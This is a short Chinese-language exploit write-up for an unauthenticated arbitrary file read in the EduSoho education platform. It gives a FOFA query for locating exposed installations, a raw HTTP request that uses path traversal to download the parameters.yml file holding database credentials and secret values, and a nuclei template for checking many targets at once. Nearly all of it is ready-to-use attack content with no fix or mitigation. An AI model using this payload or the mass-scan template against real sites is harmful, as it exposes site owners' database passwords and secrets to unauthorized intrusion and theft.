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漏洞描述
Edusoho是面向个人、学校、培训机构及企业用户的友好、开源、高性价比的在线教育建站系统。该系统存在配置文件读取漏洞，攻击者可以通过构造恶意代码，未授权直接下载或读取parameters.yml配置文件内容，里面包含了数据库账号密码以及secret值等敏感信息
fofa语句
title="EduSoho"漏洞复现
访问漏洞环境
构造payload
GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie: PHPSESSID=6hjpl1c6pvu8i0uln8cr6niv77
Upgrade-Insecure-Requests: 127
nuclei批量验证
id: EduShow-filereading
info:
name: 教培系统EduSoho任意文件读取漏洞
author: changge
severity: high
description: 教培系统EduSoho任意文件读取漏洞
metadata:
fofa-query: title="EduSoho"
requests:
- raw:
- |
GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie: PHPSESSID=6hjpl1c6pvu8i0uln8cr6niv77
Upgrade-Insecure-Requests: 127
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'database'
- type: status
status:
- 200